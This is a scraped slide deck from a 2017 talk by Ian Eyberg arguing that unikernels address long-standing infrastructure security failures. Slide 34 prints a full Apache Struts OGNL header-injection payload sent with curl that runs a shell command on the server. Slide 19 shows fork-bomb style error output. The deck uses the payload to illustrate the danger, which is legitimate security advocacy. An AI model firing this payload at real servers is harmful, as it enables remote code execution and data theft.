Climbing Out From the Digital Mud with Unikernels - HL2017

B3860e5f7d69df921650d2263ea047fd?s=47 Ian Eyberg
November 10, 2017

Climbing Out From the Digital Mud with Unikernels - HL2017

We've been accumulating digital mud for the past four decades with our software infrastructure. Unikernels offer a way forward to stop the security catastrophes and show the path forward.

B3860e5f7d69df921650d2263ea047fd?s=128

Ian Eyberg

November 10, 2017
Tweet

Transcript

  1. 4.
  2. 11.
  3. 12.
  4. 13.
  5. 14.
  6. 17.
  7. 19.

    ulimits are off?? bash: fork: retry: Resource temporarily unavailable bash:

    fork: retry: Resource temporarily unavailable bash: fork: retry: Resource temporarily unavailable bash: fork: retry: Resource temporarily unavailable bash: fork: retry: Resource temporarily unavailable bash: fork: retry: Resource temporarily unavailable bash: fork: retry: Resource temporarily unavailable bash: fork: retry: Resource temporarily unavailable bash: fork: retry: Resource temporarily unavailable bash: fork: retry: Resource temporarily unavailable bash: fork: retry: Resource temporarily unavailable bash: fork: retry: Resource temporarily unavailable
  8. 20.
  9. 22.
  10. 24.
  11. 28.

    C I O , C I S O , C

    E O “ R E T I R E D ”
  12. 29.
  13. 30.

    M U LT I P L E C O N

    G R E S S I O N A L H E A R I N G S
  14. 31.

    I N S I D E R T R A

    D I N G I N V E S T I G AT I O N
  15. 32.

    D O Z E N S O F C L

    A S S A C T I O N L AW S U I T S
  16. 33.
  17. 34.

    curl i -s -k -x $’GET’ \ —H $'User-Agent: Mozilla/5.0'

    -H $'Content-Type: %{(#_=\'multipart/form- data\').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess? (#_memberAccess=#dm): ((#container=#context[\'com.opensymphony.xwork2.ActionContext.container\']). (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class )).(#ognlUtil.getExcludedPackageNames().clear()). (#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))). (#cmd=\'ls -lat /\'). (#iswin=(@java.lang.System@getProperty(\'os.name\').toLowerCase().contains(\'w in\'))).(#cmds=(#iswin?{\'cmd.exe\',\'/c\',#cmd}:{\'/bin/bash\',\'- c\',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)). (#p.redirectErrorStream(true)).(#process=#p.start()). (#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream( ))).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)). (#ros.flush())}' $’https://pure.ownage'
  18. 35.
  19. 36.

    PA S S W O R D S ? S

    H E L L ? D B A C C E S S ?
  20. 37.

    T H E F U T U R E I

    S U N I K E R N E L S
  21. 38.
  22. 41.
  23. 42.
  24. 46.
  25. 50.

    ▸ search for existing apps ▸ create a new app

    ▸ show running apps ▸ show installed apps ▸ run an app ▸ pull project D E M O T I M E